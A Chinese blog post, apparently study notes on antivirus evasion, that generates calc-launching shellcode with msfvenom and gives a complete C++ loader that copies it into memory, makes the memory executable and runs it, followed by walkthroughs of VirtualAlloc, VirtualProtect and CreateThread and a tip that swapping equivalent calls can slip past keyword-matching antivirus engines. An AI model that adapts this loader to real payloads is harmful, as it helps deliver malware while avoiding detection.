2023-06-28-[免杀学习]shellcode的使用(C++)

刚开始学免杀,想直接分析shellcode的话对我来说有点难,所以先学会如何使用别人写好的shellcode

ShellCode准备

MSF生成的在x64的win环境下打开calc.exe的shellcode

msfvenom -p windows/x64/exec CMD=calc.exe -f c

完整代码

#include <windows.h>
#include <stdio.h>

unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";



int main()
{

    // 分配1MB大小的内存空间,保留并提交,可读可写
    LPVOID lpMem = VirtualAlloc(NULL, 1024 * 1024, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    if (lpMem == NULL) // 分配失败
    {
        printf("VirtualAlloc failed: %d\n", GetLastError());
        return -1;
    }
    else // 分配成功
    {
        printf("VirtualAlloc succeeded: %p\n", lpMem);
    }
    //RtlMoveMemory(lpMem, buf, sizeof(buf));
    memcpy(lpMem, buf, sizeof(buf));

    DWORD OldProtect;
    VirtualProtect(lpMem, sizeof(buf), PAGE_EXECUTE_READ, &OldProtect);


    /*HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)lpMem, NULL, 0, NULL);
    WaitForSingleObject(hThread, INFINITE); // 等待线程结束
    CloseHandle(hThread);*/ // 关闭线程句柄
    ((void(*)())lpMem)();
    // 释放分配的内存空间
    BOOL bRet = VirtualFree(lpMem, 0, MEM_RELEASE);
    if (bRet == FALSE) // 释放失败
    {
        printf("VirtualFree failed: %d\n", GetLastError());
        return -1;
    }
    else // 释放成功
    {
        printf("VirtualFree succeeded.\n");
    }
    
    return 0;
}

注释的代码是另一种写法,但可以达到同样的效果,在做免杀的可以考虑等效替换,对于关键字匹配的杀毒引擎来说可能会有免杀的效果

介绍一下涉及到的函数

VirtualAlloc

功能:调整一片在虚拟地址空间的内存的状态

返回值:调指向整的内存的起始地址的指针

win api为了准确的表达指针的作用对象,将void命名为了许多其他类型,但其本质都是void

void类型是一种无类型指针,也就是说它可以指向任意类型的数据

**void类型的指针有以下几种用途:

  • 用作函数的返回类型,表示函数不返回任何值。
  • 用作函数的参数类型,表示函数可以接受任意类型的指针。例如,内存分配函数 malloc 和 memset 的参数就是 void* 类型。
  • 用作通用指针,表示可以指向任何未使用 const 或 volatile 关键字声明的变量。例如,可以把 int* 类型的指针赋值给 void* 类型的指针,但是反过来就需要强制类型转换

LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,
  [in] SIZE_T dwSize,
  [in] DWORD flAllocationType,
  [in] DWORD flProtect
);

virtualAlloc 函数 (memoryapi.h) - Win32 apps | Microsoft Learn

官方文档讲的对初学者不太友好,我就自己总结一下

LPVOID lpAddress:要分配的内存的地址,如果不指定就让系统自动分配

SIZE_T dwSize:要分配的内存的大小,单位是字节

DWORD flAllocationType:要分配的内存的类型,可以是保留,提交,重置,撤销等。(保留和提交是主要使用的)

内存类型说明
保留(MEM_RESERVE)在虚拟地址空间中预留一块区域,但是不分配实际的物理内存。这样可以保证这块区域不会被其他程序占用,但是也不能直接使用。
提交(MEM_COMMIT)在保留的区域中分配实际的物理内存,这样才能真正使用这块内存。提交的内存会被初始化为零。
重置(MEM_RESET)把已经提交的内存标记为不再需要,系统可以随时回收这些内存。重置的内存不会被释放,但是也不能直接使用,需要重新提交才能使用。
撤销(MEM_RESET_UNDO)把已经重置的内存标记为重新需要,系统会尝试恢复这些内存的内容。如果成功,那么撤销的内存可以继续使用;如果失败,那么撤销的内存会变成零,需要重新写入数据才能使用

DWORD flProtect:用来指定要分配的内存的保护属性的,也就是说,它可以控制这块内存可以被怎样访问,比如只读、可写、可执行等。

保护属性含义
PAGE_EXECUTE允许对已提交的内存执行代码
PAGE_EXECUTE_READ允许对已提交的内存执行代码或只读访问
PAGE_EXECUTE_READWRITE允许对已提交的内存执行代码或读写访问
PAGE_EXECUTE_WRITECOPY允许对文件映射对象的映射视图执行代码或复制写入访问
PAGE_NOACCESS禁止对已提交的内存进行任何访问
PAGE_READONLY允许对已提交的内存进行只读访问
PAGE_READWRITE允许对已提交的内存进行读写访问
PAGE_WRITECOPY允许对文件映射对象的映射视图进行只读或复制写入访问

RtlMoveMemory

memcpy

这两个都是用于内存复制的方法,很容易理解,直接看官方文档即可

RtlMoveMemory 函数 - Win32 apps | Microsoft Learn

memcpy 函数| Microsoft Learn

还有类似的内存复制方法如RtlCopyMemory

RtlCopyMemory 宏 (ntddstor.h) - Windows drivers | Microsoft Learn

VirtualProtect

功能:改变一段内存区域的保护属性

BOOL VirtualProtect(
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flNewProtect,
  PDWORD lpflOldProtect
);

LPVOID lpAddress:内存区域的指针

SIZE_T dwSize:要改变保护属性的区域大小

DWORD flNewProtect:要设定的区域的保护属性

PDWORD lpflOldProtect:保存旧的保护属性的指针

调用内存中的shellcode(1)

shellcode的本质是汇编语言转换成的二进制代码

// 分配1MB大小的内存空间,保留并提交,可读可写可执行
LPVOID lpMem = VirtualAlloc(NULL, 1024 * 1024, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
......
将shellcode写入lpMem指针指向的区域
......
//转换为函数指针调用
((void(*)())lpMem)();

((void(*)())lpMem)();的含义是将lpMem指针强制转换为一个无参数无返回值的函数指针,然后调用这个函数。

具体来说,((void(*)())lpMem)(); 可以分解为以下几个步骤:

  • lpMem是一个LPVOID类型的指针,它指向一段分配好的内存区域,其中存放了buf数组的内容,也就是一段机器码。
  • (void(*)())是一个类型转换符,它表示一个无参数无返回值的函数指针类型。
  • (void(*)())lpMem是将lpMem指针强制转换为(void(*)())类型,也就是将内存区域视为一个函数。
  • ((void(*)())lpMem)()是在转换后的函数指针后面加上一对括号,表示调用这个函数。

这样做的目的是执行buf数组中的机器码,也就是一段shellcode。

shellcode可以转换为一个无参数无返回值的函数调用,是因为它的设计和编码方式使得它可以在任何内存地址上执行,而不需要依赖于参数或返回值。

具体来说,shellcode有以下几个特点:

  • shellcode是一段可以直接在CPU上运行的二进制代码,它不需要经过编译器或链接器的处理,也不需要遵循任何函数调用约定。
  • shellcode通常使用相对寻址或寄存器寻址的方式来访问数据或代码,而不使用绝对寻址或基址寻址,这样可以避免地址硬编码的问题。
  • shellcode通常使用系统调用或API函数来实现功能,而不使用自己编写的函数或库函数,这样可以减少代码的长度和复杂度。
  • shellcode通常在执行完毕后返回到原来的执行流程,而不是退出程序或造成异常,这样可以隐藏自己的存在。

因此,shellcode可以被视为一个无参数无返回值的函数,只要将它存放在一段可执行的内存区域中,并通过((void(*)())lpMem)(); 这种语法来调用它,就可以实现执行shellcode的目的。

调用内存中的shellcode(2)

HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)lpMem, NULL, 0, NULL);//创建一个执行shellcode的线程
WaitForSingleObject(hThread, INFINITE); // 等待线程结束,否则会直接关闭而不等执行完(异步)
CloseHandle(hThread); // 关闭线程句柄

CreateThread

HANDLE CreateThread(
  [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in] SIZE_T dwStackSize,
  [in] LPTHREAD_START_ROUTINE lpStartAddress,
  [in, optional] __drv_aliasesMem LPVOID lpParameter,
  [in] DWORD dwCreationFlags,
  [out, optional] LPDWORD lpThreadId
);
参数类型描述
lpThreadAttributesLPSECURITY_ATTRIBUTES指向 SECURITY_ATTRIBUTES 结构的指针,该结构确定返回的句柄是否可以由子进程继承。如果为 NULL,则无法继承句柄。结构的 lpSecurityDescriptor 成员为新线程指定安全描述符。如果为 NULL,则线程将获取默认的安全描述符。
dwStackSizeSIZE_T堆栈的初始大小(以字节为单位)。系统将此值舍入到最近的页面。如果此参数为零,新线程将使用可执行文件的默认大小。
lpStartAddressLPTHREAD_START_ROUTINE指向由线程执行的应用程序定义函数的指针。此指针表示线程的起始地址。
lpParameterLPVOID指向要传递给线程函数的变量的指针。如果不需要传递参数,则为 NULL。
dwCreationFlagsDWORD控制线程创建的标志。如果为 0,则创建后,线程会立即运行。如果为 CREATE_SUSPENDED,则线程以挂起状态创建,在调用 ResumeThread 函数之前不会运行。如果为 STACK_SIZE_PARAM_IS_A_RESERVATION,则 dwStackSize 参数指定堆栈的初始保留大小,而不是提交大小。
lpThreadIdLPDWORD指向接收线程标识符的变量的指针。如果为 NULL,则不返回线程标识符。

对于第三个参数,LPTHREAD_START_ROUTINE其实也是是一个函数指针的类型,只不过它表明这个函数指针应该是是由一个线程执行的

所以(LPTHREAD_START_ROUTINE)lpMem就是告诉CreateThread函数,这个地址是线程的起始地址,也就是线程需要执行的代码的起始地址,然后CreateThread就会创建一个新线程,然后开始执行lpMem指向的代码

VirtualFree

BOOL VirtualFree(
  [in] LPVOID lpAddress,
  [in] SIZE_T dwSize,
  [in] DWORD  dwFreeType
);
  • VirtualFree函数是一个用于释放、反提交或释放和反提交进程虚拟地址空间中的一块区域的函数
  • VirtualFree函数的第二个参数dwSize表示要释放或反提交的内存区域的大小,以字节为单位
  • 如果第三个参数dwFreeType是MEM_RELEASE,表示要释放整个由VirtualAlloc函数预留的区域,那么第二个参数dwSize必须是0,否则函数会失败
  • 如果第三个参数dwFreeType是MEM_DECOMMIT,表示要反提交一块已提交的区域,那么第二个参数dwSize可以是任意值,如果是0,表示要反提交由VirtualAlloc函数分配的整个区域

总结

简单概括一下,要执行shellcode,一般需要做5件事:

1.申请一片内存区域(如果可以直接申请到可读可写可执行的话,跳过第2步)

2.改变内存区域的状态,使其可读可写可执行(这里是否必须要3者兼备作者目前不清楚)

3.将shellcode写入内存

4.执行shellcode

5.回收内存

总结

简单概括一下,要执行shellcode,一般需要做5件事:

1.申请一片内存区域(如果可以直接申请到可读可写可执行的话,跳过第2步)

2.改变内存区域的状态,使其可读可写可执行(这里是否必须要3者兼备作者目前不清楚)

3.将shellcode写入内存

4.执行shellcode

5.回收内存

本篇文章详细讲解了如何使用一个现成的shellcode,到此为止还没有正式涉及到有关免杀的知识和技巧,只能充其量算作免杀基础的win api的学习,不过有句话说得好:

千里之行始于足下

要打好基础,才能走得更远。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值